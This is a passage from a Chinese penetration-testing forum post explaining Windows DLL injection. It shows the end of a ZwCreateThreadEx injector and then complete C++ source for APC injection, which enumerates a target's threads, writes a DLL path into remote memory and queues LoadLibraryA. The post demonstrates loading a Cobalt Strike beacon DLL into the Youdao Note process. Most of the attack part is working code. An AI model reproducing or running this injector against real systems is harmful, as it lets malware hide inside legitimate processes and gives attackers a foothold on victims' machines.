"C:\\Users\\61408\\Desktop\\artifact.dll"); #else BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll"); #endif if (FALSE == bRet) { printf("Inject Dll Error!\n\n"); } printf("Inject Dll OK!\n\n"); return 0; } ``` 因为在dll注入的过程中是看不到messagebox的,所以这里我选择cs注入进行测试,若注入成功即可上线 首先生成一个32位的dll文件,这里跟位数有关,我选择注入的是32位的进程,所以这里我选择生成32位的dll [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e6a282b7cf8a22f7cad634de1ebd76ab771b75a8.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e6a282b7cf8a22f7cad634de1ebd76ab771b75a8.png) 得到路径 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-c1e3679fddf1ba1173ead61c9794a6e1457173b6.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-c1e3679fddf1ba1173ead61c9794a6e1457173b6.png) 这里我选择的是有道云笔记进行注入,查看一下pid [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-565ebe9a7ba9c34d0c651e397ea4cade4cade558.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-565ebe9a7ba9c34d0c651e397ea4cade4cade558.png) 然后把我们函数的pid改为有道云的pid [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4476c3744191b05188af33d466be9c8f3b367e3e.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4476c3744191b05188af33d466be9c8f3b367e3e.png) 实现效果如下所示 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bf5b5472cea66e6ecc29d4a8567a4a12f5b51a65.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bf5b5472cea66e6ecc29d4a8567a4a12f5b51a65.jpg) APC注入 ===== APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。 这里去看一下msdn中异步过程调用的解释如下 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bef3d27120b85885053486917c7418303936979b.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bef3d27120b85885053486917c7418303936979b.png) 首先第一个函数 QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中 APCproc: 函数作用: 回调函数的写法. 往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。这里介绍一下应用程序的APC,APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的,如msdn所示 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-98a5ad6f54f2bf22b83a33a447a7186476d7d3b4.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-98a5ad6f54f2bf22b83a33a447a7186476d7d3b4.png) 核心函数 ---- QueueUserAPC ```c++ DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function HANDLEhThread, // handle to thread ULONG_PTRdwData // APC function parameter ); ``` QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD\_SET\_CONTEXT 访问权限。第三个参数表示传递给执行函数的参数,与远线程注入类似,如果QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入。 实现原理 ---- 在 Windows系统中,每个线程都会维护一个线程 APC队列,通过QucueUserAPC把一个APC 函数添加到指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处在可警告状态时才会执行这些APC 函数。一个线程在内部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把自己挂起时就是进入可警告状态,此时便会执行APC队列函数。 通俗点来概括过程可分为以下几步: 1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断(或者是Messagebox弹窗的时候不点OK的时候也能注入)。 2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。 3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。 但是想要使用apc注入也有以下两点条件: 1.必须是多线程环境下 2.注入的程序必须会调用那些同步对象 每一个进程的**每一个线程都有自己的APC队列**,我们可以使用**QueueUserAPC**函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而是要等到线程处于**可通知状态**(alertable)才会执行,即只有当一个线程内部调用**SleepEx**等上面说到的几个特定函数将自己处于**挂起状态**时,才会执行APC队列函数,执行顺序与普通队列相同,**先进先出(FIFO)**,在整个执行过程中,线程并无任何异常举动,不容易被察觉,但**缺点**是对于**单线程程序一般不存在挂起状态**,所以APC注入对于这类程序没有明显效果。 实现过程 ---- 这里的常规思路是编写一个根据进程名获取pid的函数,然后根据PID获取所有的线程ID,这里我就将两个函数集合在一起,通过自己输入PID来获取指定进程的线程并写入数组 ```c++ //列出指定进程的所有线程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申请空间 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList = NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 结构的大小 th32.dwSize = sizeof(THREADENTRY32); // 遍历所有THREADENTRY32结构, 按顺序填入数组 BOOL bRet = Thread32First(hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; } ``` 然后是apc注入的主函数,首先使用`VirtualAllocEx`远程申请内存 ```c++ lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); ``` 然后使用`WriteProcessMemory`把dll路径写入内存 ```c++ ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr) ``` 再获取`LoadLibraryA`的地址 ```c++ PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); ``` 便利线程并插入APC,这里定义一个fail并进行判断,如果`QueueUserAPC`返回的值为NULL则线程遍历失败,fail的值就+1 ```c++ for (int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; } } } ``` 然后在到主函数,定义dll地址 ```c++ strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll"); ``` 使用`OpenProcess`打开句柄 ```c++ HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID); ``` 调用之前写好的`APCInject`函数实现APC注入 ```c++ if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf("Failed to inject DLL\n"); return FALSE; } ``` 完整代码如下 ```c++ // APCInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <iostream> #include <Windows.h> #include <TlHelp32.h> using namespace std; void ShowError(const char* pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK); } //列出指定进程的所有线程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申请空间 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList = NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 结构的大小 th32.dwSize = sizeof(THREADENTRY32); //遍历所有THREADENTRY32结构, 按顺序填入数组 BOOL bRet = Thread32First(hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; } BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) { // 申请内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { ShowError("VirtualAllocEx - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 把Dll的路径复制到内存中 if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)) { ShowError("WriteProcessMemory - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 获得LoadLibraryA的地址 PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // 遍历线程, 插入APC float fail = 0; for (int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; } // 关闭线程句柄 ::CloseHandle(hThread); hThread = NULL; } } printf("Total Thread: %d\n", dwThreadIdListLength); printf("Total Failed: %d\n", (int)fail); if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5) { printf("Success to Inject APC\n"); return TRUE; } else { printf("Inject may be failed\n"); return FALSE; } } int main() { ULONG32 ulProcessID = 0; printf("Input the Process ID:"); cin >> ulProcessID; CHAR wzDllFullPath[MAX_PATH] = { 0 }; LPDWORD pThreadIdList = NULL; DWORD dwThreadIdListLength = 0; #ifndef _WIN64 strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll"); #else // _WIN64 strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll"); #endif if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength)) { printf("Can not list the threads\n"); exit(0); } //打开句柄 HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID); if (hProcess == NULL) { printf("Failed to open Process\n"); return FALSE; } //注入 if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf("Failed to inject DLL\n"); return FALSE; } return 0; } ``` 之前说过我没有使用`进程名 -> pid`的方式,而是直接采用手动输入的方式,通过`cin >> ulProcessID`将接收到的参数赋给`ulProcessID` [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7533d88b8d654a94a96d28f82ddc3827e06cace7.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7533d88b8d654a94a96d28f82ddc3827e06cace7.png) 这里可以选择写一个MessageBox的dll,这里我直接用的是cs的dll,演示效果如下所示 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-66035987fc21b78b8297308f8261a39aaa2de4bc.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-66035987fc21b78b8297308f8261a39aaa2de4bc.png)
发表于 2021-10-19 14:02:39
阅读 ( 5909 )
分类:
渗透测试
0 推荐
收藏
0 条评论
请先
登录
后评论
szbuffer
30 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!